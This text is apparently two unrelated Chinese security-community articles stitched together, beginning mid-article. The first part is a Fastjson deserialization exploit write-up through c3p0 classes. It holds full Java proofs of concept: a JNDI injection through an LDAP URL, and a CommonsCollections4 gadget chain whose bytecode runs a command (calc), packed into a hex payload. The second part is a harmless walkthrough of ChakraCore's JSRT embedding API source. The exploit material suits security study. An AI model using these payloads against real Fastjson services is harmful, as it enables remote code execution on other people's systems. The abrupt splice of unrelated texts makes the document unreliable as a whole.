这两个setter都调用了inner方法，但是因为`setLogWriter`的参数是`PrintWriter`对象，我们选择简单的int类型参数的`setLoginTimeout`方法
### 构建POC
import com.alibaba.fastjson.JSON;
public class c3p0_fastjson {
public static void main(String[] args){
String poc = "{\"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\n"+"\"jndiName\": \"ldap://127.0.0.1:1389/fvtvuj\",\n"+"\"loginTimeout\": 0}";
JSON.parseObject(poc);
}
}
## Fastjson之WrapperConnectionPoolDataSource类不出网利用
### 分析
这里主要是使用的是`WrapperConnectionPoolDataSourece`类，跟进
这个类在初始化的时候，就调用了`setUpPropertyListeners`方法开启了属性监听功能
这里的`VetoableChangeListener`就是一个监听器，在属性改变的时候就会调用监听器的`VetoableChange`的方法，这里就创建了一个监听器，而且重写了`vetoableChange`方法
后面通过调用addVetoableChangeListener，将监听器添加到自己的属性`vcs`
那这个vcs属性又是什么呢，是`VetoableChangeSupport`，这个就是一个监听器的列表，并且会向监听器列表发送
`PropertyChangeEvent` ，来跟踪属性的更改情况。
在设置属性时，为了监控属性的变化，就会去调用`vcs.fireVetoableChange`
方法，此方法有很多重载，但最后都会封装一个`PropertyChangeEvent` 对象
传递给了监听器的`vetoableChange`方法
来看看重新的`vetoableChange`方法的逻辑
他只监听两个属性`connectionTesterClassName`和`userOverridesAsString`
第一个属性不能利用
第二个属性`userOverridesAsString`：
会调用`C3P0ImplUtils.parseUserOverridesAsString`处理新的属性值，跟进细节
截取了`HexAsciiSerializedMap`后的第二个字符到倒数第二个字符的hex串
之后通过调用`fromHexAscii`方法将hex转化为序列化字节，再通过调用了`SerializableUtils.fromByteArray`方法处理序列化字节
调用了`deserializeFromByteArray`进行反序列化，如果这里是一个恶意的字节码，就会进行恶意触发漏洞
所以现在我们就需要`userOverridesAsString`的setter方法，就会调用这个链子
在`WrapperConnectionPoolDataSource`类中是没有这个方法的，但是他继承了`WrapperConnectionPoolDataSourceBase`类
这个类具有对应的setter方法
### 编写POC
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class c3p0_fastjson2 {
public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static PriorityQueue CommonsCollections4() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("c3p0Exploit");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetCode = new byte[][]{shellCode};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xx");
setFieldValue(templatesImpl, "_bytecodes", targetCode);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, transformingComparator);
return priorityQueue;
}
public static byte[] toByteArray(InputStream in) throws Exception {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
public static void main(String[] args) throws Exception {
PriorityQueue queue = CommonsCollections4();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(queue);
outputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
//byte[] bytes = toByteArray(inputStream);
String hexString = bytesToHexString(bytes, bytes.length);
String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}";
System.out.println(poc);
JSON.parseObject(poc);
}
}
这里是使用了cc4版本jar包的cc4链出发计算器 | 社区文章 |
# JSRT概观
JSRT API提供了一种将ChakraCore的嵌入程序，并且可以使用JavaScript的方法。
## 示例代码
目录：\test\native-tests\test-shared-basic\sample.cpp
#include "stdafx.h"
// Fixed by PR: https://github.com/Microsoft/ChakraCore/pull/2511
// #include <stdint.h> // To work around issue #2510 temporarily:
// // https://github.com/Microsoft/ChakraCore/issues/2510
#include "ChakraCore.h"
#include <string>
#include <iostream>
using namespace std;
int main()
{
JsRuntimeHandle runtime;
JsContextRef context;
JsValueRef result;
unsigned currentSourceContext = 0;
// Your script; try replace hello-world with something else
wstring script = L"(()=>{return \'Hello world!\';})()";
// Create a runtime.
JsCreateRuntime(JsRuntimeAttributeNone, nullptr, &runtime);
// Create an execution context.
JsCreateContext(runtime, &context);
// Now set the current execution context.
JsSetCurrentContext(context);
// Run the script.
JsRunScript(script.c_str(), currentSourceContext++, L"", &result);
// Convert your script result to String in JavaScript; redundant if your script returns a String
JsValueRef resultJSString;
JsConvertValueToString(result, &resultJSString);
// Project script result back to C++.
const wchar_t *resultWC;
size_t stringLength;
JsStringToPointer(resultJSString, &resultWC, &stringLength);
wstring resultW(resultWC);
cout << string(resultW.begin(), resultW.end()) << endl;
system("pause");
// Dispose runtime
JsSetCurrentContext(JS_INVALID_REFERENCE);
JsDisposeRuntime(runtime);
return 0;
}
## 概念
了解如何使用JSRT API托管JavaScript引擎需要只知道两个关键概念： **runtimes** 和 **execution contexts**
。
* 一个 **runtime** 表示一个完整的JavaScript执行环境。 每个 **runtime** 都会创建自己的 **garbage-collected heap** ，默认情况下，它有自己的实时编译器（JIT）线程和垃圾收集器（GC）线程。
* **execution contexts** 表示一个拥有和别的 **execution contexts** 不同的JavaScript全局对象的JavaScript执行环境。
* 一个 **runtime** 可能包含多个 **execution contexts** ，在这种情况下，所有的 **execution context** 共享与 **runtime** 相关联的JIT thread和GC thread。
* runtimes表示单个线程执行。一次只能有一个 **runtime** 处于active状态，并且 **runtime** 一次只能在一个线程上处于活跃状态。 **runtimes** 是rental threaded，所以如果一个 **runtime** 在当前在线程上不处于active状态值，它可以被任何没有active **runtime** 的线程调用。
* **execution contexts** 与特定的runtime绑定，并且在这个runtime内执行代码。与runtimes不同的是，多个 **execution contexts** 可以同时在一个线程上处于active状态。因此一个host可以调用 **execution contexts** ， **execution contexts** 可以回调host，并且host可以调用多个 **execution contexts** 。
* 事实上，除非host需要在分离的环境中运行代码，不然就可以使用单个 **execution context** 。同样除非主机需要同时运行多段代码，不然只要运行单个 **runtime** 就足够了。
* 只要不被设置成runtime的当前context或者有一个正数的引用计数，contexts都被GC收集。（更多的时候使用JsAddRef比JsRelease多）
在JSAPI中，JSRuntime是表示JavaScript引擎实例的顶级对象。程序通常只有一个JSRuntime，即使它有很多线程。JSRuntime是JavaScript对象的universe，一个JSRuntime里的JavaScript无法前往别的JSRuntime。
所有JavaScript代码和大多数JSAPI的调用都在JSContext中运行。JSContext是JSRuntime的子代。一个Context可以运行script。每一个Context都包含全局对象和执行堆栈，异常句柄，错误报告和一些语言选项。
## 创建运行时runtime
目录：\lib\Jsrt\
**JsCreateRuntime**
CHAKRA_API JsCreateRuntime(_In_ JsRuntimeAttributes attributes, _In_opt_ JsThreadServiceCallback threadService, _Out_ JsRuntimeHandle *runtimeHandle)
{
return CreateRuntimeCore(attributes,
nullptr /*optRecordUri*/, 0 /*optRecordUriCount */, false /*isRecord*/, false /*isReplay*/, false /*isDebug*/,
UINT_MAX /*optSnapInterval*/, UINT_MAX /*optLogLength*/,
nullptr, nullptr, nullptr, nullptr, /*TTD IO handlers*/
threadService, runtimeHandle);
}
参数：
* attributes
创建runtime时需要的属性，ChakraCore中的定义如下：
typedef enum _JsRuntimeAttributes
{
/// 没有特殊属性。
JsRuntimeAttributeNone = 0x00000000,
/// runtime不会对后台线程执行任何工作（例如垃圾回收）。
JsRuntimeAttributeDisableBackgroundWork = 0x00000001,
/// runtime需要支持可靠的script interruption，当runtime检查script interruption请求时将增加少量的运行成本
JsRuntimeAttributeAllowScriptInterrupt = 0x00000002,
/// Host将会调用<c>Jsidle</c>,因此idle启动。否则runtime将会稍微加强对内存的管理。
JsRuntimeAttributeEnableIdleProcessing = 0x00000004,
/// runtime不会生成native code
JsRuntimeAttributeDisableNativeCodeGeneration = 0x00000008,
/// 使用<c>eval</c> or <c>function</c>构造函数将会抛出异常.
JsRuntimeAttributeDisableEval = 0x00000010,
/// runtime将会开启所有的experimental属性.
JsRuntimeAttributeEnableExperimentalFeatures = 0x00000020,
/// 调用JsSetException也会将异常调度到script debugger（如果有的话），使调试器有机会中断异常。
JsRuntimeAttributeDispatchSetExceptionsToDebugger = 0x00000040,
///以下两项 微软的文档里还没有
///在OOM上禁用Failfast错误
JsRuntimeAttributeDisableFatalOnOOM = 0x00000080,
///运行时不会分配可执行代码页这也意味着本机代码生成将被关闭请注意，这将破坏WPA等工具中的JavaScript堆栈解码，因为它们依赖于分配唯一的thunks来解释每个函数，同样这些thunk的分配将被禁用
JsRuntimeAttributeDisableExecutablePageAllocation = 0x00000100,
} JsRuntimeAttributes;
* theadService
runtime的线程服务，可以为NULL
* runtimeHandle
创建runtime
return：
* 如果操作成功则代码为JsNoError，否则为失败代码。
**CreateRuntimeCore** ：
JsErrorCode CreateRuntimeCore(_In_ JsRuntimeAttributes attributes,
_In_opt_ const char* optTTUri, size_t optTTUriCount, bool isRecord, bool isReplay, bool isDebug,
_In_ UINT32 snapInterval, _In_ UINT32 snapHistoryLength,
_In_opt_ TTDOpenResourceStreamCallback openResourceStream, _In_opt_ JsTTDReadBytesFromStreamCallback readBytesFromStream,
_In_opt_ JsTTDWriteBytesToStreamCallback writeBytesToStream, _In_opt_ JsTTDFlushAndCloseStreamCallback flushAndCloseStream,
_In_opt_ JsThreadServiceCallback threadService, _Out_ JsRuntimeHandle *runtimeHandle)
{
VALIDATE_ENTER_CURRENT_THREAD(); //验证当前输入的线程，初始化线程
PARAM_NOT_NULL(runtimeHandle); //检查当前的句柄地址是否为空
*runtimeHandle = nullptr; //将句柄值设置为0
//检测传入的arributes的值，根据参数所要求的相应属性来设置runtime
JsErrorCode runtimeResult = GlobalAPIWrapper_NoRecord([&]() -> JsErrorCode {
const JsRuntimeAttributes JsRuntimeAttributesAll =
(JsRuntimeAttributes)(
JsRuntimeAttributeDisableBackgroundWork |
JsRuntimeAttributeAllowScriptInterrupt |
JsRuntimeAttributeEnableIdleProcessing |
JsRuntimeAttributeDisableEval |
JsRuntimeAttributeDisableNativeCodeGeneration |
JsRuntimeAttributeDisableExecutablePageAllocation |
JsRuntimeAttributeEnableExperimentalFeatures |
JsRuntimeAttributeDispatchSetExceptionsToDebugger |
JsRuntimeAttributeDisableFatalOnOOM
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
| JsRuntimeAttributeSerializeLibraryByteCode
#endif
);
Assert((attributes & ~JsRuntimeAttributesAll) == 0);
if ((attributes & ~JsRuntimeAttributesAll) != 0)
{
return JsErrorInvalidArgument;
}
CreateFileMapping(INVALID_HANDLE_VALUE, nullptr, PAGE_READWRITE, 0, 0, nullptr);
AllocationPolicyManager * policyManager = HeapNew(AllocationPolicyManager, (attributes & JsRuntimeAttributeDisableBackgroundWork) == 0); //设置管理内存分配的一系列函数
bool enableExperimentalFeatures = (attributes & JsRuntimeAttributeEnableExperimentalFeatures) != 0;
ThreadContext * threadContext = HeapNew(ThreadContext, policyManager, threadService, enableExperimentalFeatures);
if (((attributes & JsRuntimeAttributeDisableBackgroundWork) != 0)
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
&& !Js::Configuration::Global.flags.ConcurrentRuntime
#endif
)
{
threadContext->OptimizeForManyInstances(true);
#if ENABLE_NATIVE_CODEGEN
threadContext->EnableBgJit(false);
#endif
}
if (!threadContext->IsRentalThreadingEnabledInJSRT()
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
|| Js::Configuration::Global.flags.DisableRentalThreading
#endif
)
{
threadContext->SetIsThreadBound();
}
if (attributes & JsRuntimeAttributeAllowScriptInterrupt)
{
threadContext->SetThreadContextFlag(ThreadContextFlagCanDisableExecution);
}
if (attributes & JsRuntimeAttributeDisableEval)
{
threadContext->SetThreadContextFlag(ThreadContextFlagEvalDisabled);
}
if (attributes & JsRuntimeAttributeDisableNativeCodeGeneration)
{
threadContext->SetThreadContextFlag(ThreadContextFlagNoJIT);
}
if (attributes & JsRuntimeAttributeDisableExecutablePageAllocation)
{
threadContext->SetThreadContextFlag(ThreadContextFlagNoJIT);
threadContext->SetThreadContextFlag(ThreadContextFlagNoDynamicThunks);
}
if (attributes & JsRuntimeAttributeDisableFatalOnOOM)
{
threadContext->SetThreadContextFlag(ThreadContextFlagDisableFatalOnOOM);
}
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
if (Js::Configuration::Global.flags.PrimeRecycler)
{
threadContext->EnsureRecycler()->Prime();
}
#endif
bool enableIdle = (attributes & JsRuntimeAttributeEnableIdleProcessing) == JsRuntimeAttributeEnableIdleProcessing;
bool dispatchExceptions = (attributes & JsRuntimeAttributeDispatchSetExceptionsToDebugger) == JsRuntimeAttributeDispatchSetExceptionsToDebugger;
JsrtRuntime * runtime = HeapNew(JsrtRuntime, threadContext, enableIdle, dispatchExceptions); //创建JsrtRuntime
threadContext->SetCurrentThreadId(ThreadContext::NoThread);
*runtimeHandle = runtime->ToHandle(); //获取JsrtRuntime的句柄值
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
runtime->SetSerializeByteCodeForLibrary((attributes & JsRuntimeAttributeSerializeLibraryByteCode) != 0);
#endif
return JsNoError;
});
...
return runtimeResult;
}
可以看到在创建JsrtRunTime的时候先创建了ThreadContext，而在\lib\Runtime\Base\ThreadContext.cpp里则看到了JsrtRunTime更多的成员属性，像是ThreadContext::GlobalInitialize()等。
**TTD(Time Travel Debugging)** ：
是一个工具。可以用来记录正在执行的进程，可以使用TTD对象来查找加载特定代码模块的时间或查找所有异常。
目录：\lib\Common\CommonDfines.h
////////
//Time Travel flags
//Include TTD code in the build when building for Chakra (except NT/Edge) or for debug/test builds
#if defined(ENABLE_SCRIPT_DEBUGGING) && (!defined(NTBUILD) || defined(ENABLE_DEBUG_CONFIG_OPTIONS))
#define ENABLE_TTD 1
#else
#define ENABLE_TTD 0
#endif
## 创建执行上下文（Execution context）
目录：\lib\Jsrt\jsrt.cpp
**JsCreateContext** :
CHAKRA_API JsCreateContext(_In_ JsRuntimeHandle runtimeHandle, _Out_ JsContextRef *newContext)
{
return GlobalAPIWrapper([&](TTDRecorder& _actionEntryPopper) -> JsErrorCode {
PARAM_NOT_NULL(newContext);
VALIDATE_INCOMING_RUNTIME_HANDLE(runtimeHandle);
bool inRecord = false;
bool activelyRecording = false;
bool inReplay = false;
#if ENABLE_TTD
JsrtRuntime * runtime = JsrtRuntime::FromHandle(runtimeHandle);
//检测Runtime的句柄是否有效
// 目录： \lib\Jsrt\JsrtRuntime.h
// static JsrtRuntime * FromHandle(JsRuntimeHandle runtimeHandle)
// {
// JsrtRuntime * runtime = static_cast<JsrtRuntime *>(runtimeHandle);
// runtime->threadContext->ValidateThreadContext();
// return runtime;
//}
//目录： \lib\Runtime\Base\ThreadContext.cpp
//void ThreadContext::ValidateThreadContext()
//{
// #if DBG
// // verify the runtime pointer is valid.
//{
// BOOL found = FALSE;
// AutoCriticalSection autocs(ThreadContext::GetCriticalSection());
// ThreadContext* currentThreadContext = GetThreadContextList();
// while (currentThreadContext)
// {
// if (currentThreadContext == this)
// {
// return;
// }
// currentThreadContext = currentThreadContext->Next();
// }
// AssertMsg(found, "invalid thread context");
//}
// #endif
//}
ThreadContext * threadContext = runtime->GetThreadContext(); // 获取当前执行环境runtime ThreadContext * GetThreadContext() { return this->threadContext; }
if(threadContext->IsRuntimeInTTDMode() && threadContext->TTDContext->GetActiveScriptContext() != nullptr)
{
Js::ScriptContext* currentCtx = threadContext->TTDContext->GetActiveScriptContext();//创建ScriptContext
inRecord = currentCtx->IsTTDRecordModeEnabled();
activelyRecording = currentCtx->ShouldPerformRecordAction();
inReplay = currentCtx->IsTTDReplayModeEnabled();
}
#endif
return CreateContextCore(runtimeHandle, _actionEntryPopper, inRecord, activelyRecording, inReplay, newContext);
});
}
目录：\lib\Jsrt\Jsrtc.pp
**CreateContextCore** :
//A create context function that we can funnel to for regular and record or debug aware creation
JsErrorCode CreateContextCore(_In_ JsRuntimeHandle runtimeHandle, _In_ TTDRecorder& _actionEntryPopper, _In_ bool inRecordMode, _In_ bool activelyRecording, _In_ bool inReplayMode, _Out_ JsContextRef *newContext)
{
JsrtRuntime * runtime = JsrtRuntime::FromHandle(runtimeHandle);
ThreadContext * threadContext = runtime->GetThreadContext(); //获取ThreadContext
//对ThreadContext的属性进行检测
if(threadContext->GetRecycler() && threadContext->GetRecycler()->IsHeapEnumInProgress())
{
return JsErrorHeapEnumInProgress;
}
else if(threadContext->IsInThreadServiceCallback())
{
return JsErrorInThreadServiceCallback;
}
ThreadContextScope scope(threadContext); //获取当前runtime
if(!scope.IsValid())
{
return JsErrorWrongThread;
}
...
JsrtContext * context = JsrtContext::New(runtime);
#if ENABLE_TTD
if(inRecordMode | inReplayMode)
{
Js::ScriptContext* scriptContext = context->GetScriptContext(); //创建ScriptContext
HostScriptContextCallbackFunctor callbackFunctor((FinalizableObject*)context, (void*)runtime, &OnScriptLoad_TTDCallback, &OnBPRegister_TTDCallback, &OnBPDelete_TTDCallback, &OnBPClearDocument_TTDCallback);
...
*newContext = (JsContextRef)context;
return JsNoError;
}
可以看到在创建JsrtContext的时候，都回创建一个叫做ScriptContext的结构：
目录： \lib\Runtime\Base\ScriptContext.cpp
可以找到类似于SetGlobalObject()，GetGlobalObject()等成员函数，上面代码的调试模式也是通过ScriptContext设置，说明ScriptContext是JsrtContext的具体实现。
## 设置当前的执行上下文
目录：\lib\Jsrt\Jsrt.cpp
**JsSetCurrentContext** :
设置当前线程正确的script context
CHAKRA_API JsSetCurrentContext(_In_ JsContextRef newContext)
{
VALIDATE_ENTER_CURRENT_THREAD(); //检查当前输入的线程，xia
return GlobalAPIWrapper([&] (TTDRecorder& _actionEntryPopper) -> JsErrorCode {
JsrtContext *currentContext = JsrtContext::GetCurrent(); //获取当前JsrtContext
Recycler* recycler = currentContext != nullptr ? currentContext->GetScriptContext()->GetRecycler() : nullptr; //返回allocators的类型
#if ENABLE_TTD
Js::ScriptContext* newScriptContext = newContext != nullptr ? static_cast<JsrtContext*>(newContext)->GetScriptContext() : nullptr;
Js::ScriptContext* oldScriptContext = currentContext != nullptr ? static_cast<JsrtContext*>(currentContext)->GetScriptContext() : nullptr;
if(newScriptContext == nullptr)
{
if(oldScriptContext == nullptr)
{
; //如果新的ScriptContext、旧的ScriptContext都为空则不需要操作
}
else
{
if(oldScriptContext->IsTTDRecordModeEnabled()) //检查TTD系统是否启动
{
//already know newScriptContext != oldScriptContext so don't check again
if(oldScriptContext->ShouldPerformRecordAction()) //用来检查此代码是否在记录中，并且此代码是否是用户的应用程序执行的
{
oldScriptContext->GetThreadContext()->TTDLog->RecordJsRTSetCurrentContext(_actionEntryPopper, nullptr);
}
oldScriptContext->GetThreadContext()->TTDContext->SetActiveScriptContext(nullptr);
}
}
}
else
{
if(newScriptContext->IsTTDRecordModeEnabled())
{
if(newScriptContext != oldScriptContext && newScriptContext->ShouldPerformRecordAction())
{
newScriptContext->GetThreadContext()->TTDLog->RecordJsRTSetCurrentContext(_actionEntryPopper, newScriptContext->GetGlobalObject());
}
newScriptContext->GetThreadContext()->TTDContext->SetActiveScriptContext(newScriptContext); //如果通过了各种调试设置、并且newScriptContext为空的时候，将newScriptContext设置为活跃状态
}
}
#endif
//各种检测报错抛出异常
if (currentContext && recycler->IsHeapEnumInProgress())
{ //A heap enumeration is currently underway in the script context.
return JsErrorHeapEnumInProgress;
}
else if (currentContext && currentContext->GetRuntime()->GetThreadContext()->IsInThreadServiceCallback())
{ //目前正在进行线程服务回调。
return JsErrorInThreadServiceCallback;
}
if (!JsrtContext::TrySetCurrent((JsrtContext *)newContext))
{ //在错误的线程上调用了Host API。
return JsErrorWrongThread;
}
return JsNoError;
});
}
## 执行语句
目录：\lib\Jsrt\Jsrt.cpp
**JsRunScript** :
执行一个Script
CHAKRA_API JsRunScript(_In_z_ const WCHAR * script, _In_ JsSourceContext sourceContext,
_In_z_ const WCHAR *sourceUrl, _Out_ JsValueRef * result)
{
return RunScriptCore(script, sourceContext, sourceUrl, false,
JsParseScriptAttributeNone, false /*isModule*/, result);
}
参数：
* **script**
需要执行的script
* **sourceContext**
标识脚本的cookie
* **sourceUrl**
script的位置
* **result**
存储script的结果，可以为NULL
实际上执行真正的 **RunScriptCore** ()还要经过一层：
JsErrorCode RunScriptCore(const char *script, JsSourceContext sourceContext,
const char *sourceUrl, bool parseOnly, JsParseScriptAttributes parseAttributes,
bool isSourceModule, JsValueRef *result) //parseOnly == true;
{
utf8::NarrowToWide url((LPCSTR)sourceUrl); //字符长度检查
if (!url)
{
return JsErrorOutOfMemory;
}
return RunScriptCore(nullptr, reinterpret_cast<const byte*>(script), strlen(script),
LoadScriptFlag_Utf8Source, sourceContext, url, parseOnly, parseAttributes,
isSourceModule, result);
}
JsErrorCode RunScriptCore(const WCHAR *script, JsSourceContext sourceContext,
const WCHAR *sourceUrl, bool parseOnly, JsParseScriptAttributes parseAttributes,
bool isSourceModule, JsValueRef *result)
{ //NULL
return RunScriptCore(nullptr, reinterpret_cast<const byte*>(script),
wcslen(script) * sizeof(WCHAR),
LoadScriptFlag_None, sourceContext, sourceUrl, parseOnly,
parseAttributes, isSourceModule, result);
}
接下来是真正执行内容的 **RunScriptCore** :
JsErrorCode RunScriptCore(JsValueRef scriptSource, const byte *script, size_t cb,
LoadScriptFlag loadScriptFlag, JsSourceContext sourceContext,
const WCHAR *sourceUrl, bool parseOnly, JsParseScriptAttributes parseAttributes,
bool isSourceModule, JsValueRef *result)
{
Js::JavascriptFunction *scriptFunction;
CompileScriptException se;
JsErrorCode errorCode = ContextAPINoScriptWrapper([&](Js::ScriptContext * scriptContext, TTDRecorder& _actionEntryPopper) -> JsErrorCode {
PARAM_NOT_NULL(script);
PARAM_NOT_NULL(sourceUrl);
SourceContextInfo * sourceContextInfo = scriptContext->GetSourceContextInfo(sourceContext, nullptr);
if (sourceContextInfo == nullptr)
{
sourceContextInfo = scriptContext->CreateSourceContextInfo(sourceContext, sourceUrl, wcslen(sourceUrl), nullptr);
}
const int chsize = (loadScriptFlag & LoadScriptFlag_Utf8Source) ?
sizeof(utf8char_t) : sizeof(WCHAR);
//create for every source buffer passed by host
SRCINFO si = {
/* sourceContextInfo */ sourceContextInfo,
/* dlnHost */ 0,
/* ulColumnHost */ 0,
/* lnMinHost */ 0,
/* ichMinHost */ 0,
/* ichLimHost */ static_cast<ULONG>(cb / chsize), // OK to truncate since this is used to limit sourceText in debugDocument/compilation errors.
/* ulCharOffset */ 0,
/* mod */ kmodGlobal,
/* grfsi */ 0
};
Js::Utf8SourceInfo* utf8SourceInfo = nullptr;
if (result != nullptr)
{
loadScriptFlag = (LoadScriptFlag)(loadScriptFlag | LoadScriptFlag_Expression);
}
bool isLibraryCode = (parseAttributes & JsParseScriptAttributeLibraryCode) == JsParseScriptAttributeLibraryCode;
if (isLibraryCode)
{
loadScriptFlag = (LoadScriptFlag)(loadScriptFlag | LoadScriptFlag_LibraryCode);
}
if (isSourceModule)
{
loadScriptFlag = (LoadScriptFlag)(loadScriptFlag | LoadScriptFlag_Module);
}
#if ENABLE_TTD
...
#endif
//loadScript函数中又经过一系列安全检查之后，进入LoadScriptInternal函数，里面开始进行ParseTree操作
scriptFunction = scriptContext->LoadScript(script, cb,
&si, &se, &utf8SourceInfo,
Js::Constants::GlobalCode, loadScriptFlag, scriptSource);
#if ENABLE_TTD
...
#endif
...
//定义某种调试选项
#ifdef ENABLE_DEBUG_CONFIG_OPTIONS
...
#endif
#if ENABLE_TTD
...
#endif
//执行
Js::Var varResult = scriptFunction->CallRootFunction(args, scriptContext, true);
if (result != nullptr)
{
*result = varResult;
}
#if ENABLE_TTD
...
#endif
}
return JsNoError;
});
}
**JsConvertValueToString** ：
使用标准JavaScript语义将值转换为字符串。
CHAKRA_API JsConvertValueToString(_In_ JsValueRef value, _Out_ JsValueRef *result)
{
PARAM_NOT_NULL(result);
*result = nullptr;
if (value != nullptr && Js::JavascriptString::Is(value))
{
return ContextAPINoScriptWrapper([&](Js::ScriptContext *scriptContext, TTDRecorder& _actionEntryPopper) -> JsErrorCode {
PERFORM_JSRT_TTD_RECORD_ACTION(scriptContext, RecordJsRTVarToStringConversion, (Js::Var)value);
VALIDATE_INCOMING_REFERENCE(value, scriptContext);
*result = value;
PERFORM_JSRT_TTD_RECORD_ACTION_RESULT(scriptContext, result);
return JsNoError;
});
}
...
}
## 将脚本返回为C++
**JsStringToPointer** ：
检索字符串值的字符串指针。
CHAKRA_API JsStringToPointer(_In_ JsValueRef stringValue, _Outptr_result_buffer_(*stringLength) const WCHAR **stringPtr, _Out_ size_t *stringLength)
{
VALIDATE_JSREF(stringValue);
PARAM_NOT_NULL(stringPtr);
*stringPtr = nullptr;
PARAM_NOT_NULL(stringLength);
*stringLength = 0;
if (!Js::JavascriptString::Is(stringValue))
{
return JsErrorInvalidArgument;
}
return GlobalAPIWrapper_NoRecord([&]() -> JsErrorCode {
Js::JavascriptString *jsString = Js::JavascriptString::FromVar(stringValue);
*stringPtr = jsString->GetSz();
*stringLength = jsString->GetLength();
return JsNoError;
});
}
## 处理runtime
**JsDisposeRuntime** :
CHAKRA_API JsDisposeRuntime(_In_ JsRuntimeHandle runtimeHandle)
{
return GlobalAPIWrapper_NoRecord([&] () -> JsErrorCode {
VALIDATE_INCOMING_RUNTIME_HANDLE(runtimeHandle);
JsrtRuntime * runtime = JsrtRuntime::FromHandle(runtimeHandle);
ThreadContext * threadContext = runtime->GetThreadContext();
ThreadContextScope scope(threadContext);
// We should not dispose if the runtime is being used.
if (!scope.IsValid() ||
scope.WasInUse() ||
(threadContext->GetRecycler() && threadContext->GetRecycler()->IsHeapEnumInProgress()))
{
return JsErrorRuntimeInUse;
}
else if (threadContext->IsInThreadServiceCallback())
{
return JsErrorInThreadServiceCallback;
}
// Invoke and clear the callbacks while the contexts and runtime are still available
{
Recycler* recycler = threadContext->GetRecycler();
if (recycler != nullptr)
{
recycler->ClearObjectBeforeCollectCallbacks();
}
}
#ifdef ENABLE_SCRIPT_DEBUGGING
...
#endif
Js::ScriptContext *scriptContext;
for (scriptContext = threadContext->GetScriptContextList(); scriptContext; scriptContext = scriptContext->next)
{
#ifdef ENABLE_SCRIPT_DEBUGGING
...
#endif
scriptContext->MarkForClose();
}
// Close any open Contexts.
// We need to do this before recycler shutdown, because ScriptEngine->Close won't work then.
runtime->CloseContexts();
#ifdef ENABLE_SCRIPT_DEBUGGING
...
#endif
#if defined(CHECK_MEMORY_LEAK) || defined(LEAK_REPORT)
bool doFinalGC = false;
#if defined(LEAK_REPORT)
if (Js::Configuration::Global.flags.IsEnabled(Js::LeakReportFlag))
{
doFinalGC = true;
}
#endif
#if defined(CHECK_MEMORY_LEAK)
if (Js::Configuration::Global.flags.CheckMemoryLeak)
{
doFinalGC = true;
}
#endif
if (doFinalGC)
{
Recycler *recycler = threadContext->GetRecycler();
if (recycler)
{
recycler->EnsureNotCollecting();
recycler->CollectNow<CollectNowFinalGC>();
Assert(!recycler->CollectionInProgress());
}
}
#endif
//释放堆栈等free操作
runtime->SetBeforeCollectCallback(nullptr, nullptr);
threadContext->CloseForJSRT();
HeapDelete(threadContext);
HeapDelete(runtime);
scope.Invalidate();
return JsNoError;
});
}
参考链接：
* <https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/JSAPI_reference/JSRuntime>
* <https://github.com/Microsoft/ChakraCore/wiki/JavaScript-Runtime-%28JSRT%29-Overview>
* <https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview>
## 结语
